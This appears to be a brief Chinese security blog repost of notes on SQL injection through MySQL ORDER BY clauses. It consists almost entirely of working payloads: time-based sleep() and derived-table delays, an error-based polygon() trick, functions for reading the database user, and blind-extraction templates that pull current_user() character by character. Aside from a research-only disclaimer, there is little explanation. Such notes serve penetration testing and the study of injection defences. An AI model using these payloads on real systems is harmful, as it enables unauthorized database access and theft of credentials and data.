select*from test where id =2orderby name desc
时间注入 ---> 直接sleep()
select * from nmsl where ip =2 order by ip,sleep(4)
值得注意的是,这种payload不太可取,因为如果这个表有20行,那么就要至少等待80s以上,所以基本上都是用的派生表
时间注入 ---> 派生表
select * from nmsl where ip =2 order by ip,(select(0)from(select(sleep(4.0)))a);
报错注入 ---> polygon()
select * from nmsl where ip =2 order by ip,polygon(ip)
select*from nmsl where ip =2orderby ip and (select(0)from(select(sleep(4.0)))x)
mysql中的user有哪些?
user()
current_user
current_user()
system_user()
session_user()
(sleep(exp({{int(710-740)}}-length(current_user()))))
(sleep(exp({{int(756-838)}}-ascii(mid(current_user()from(5)for(1))))))
原文始发于微信公众号(安全的黑魔法):简单的order by注入记录
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论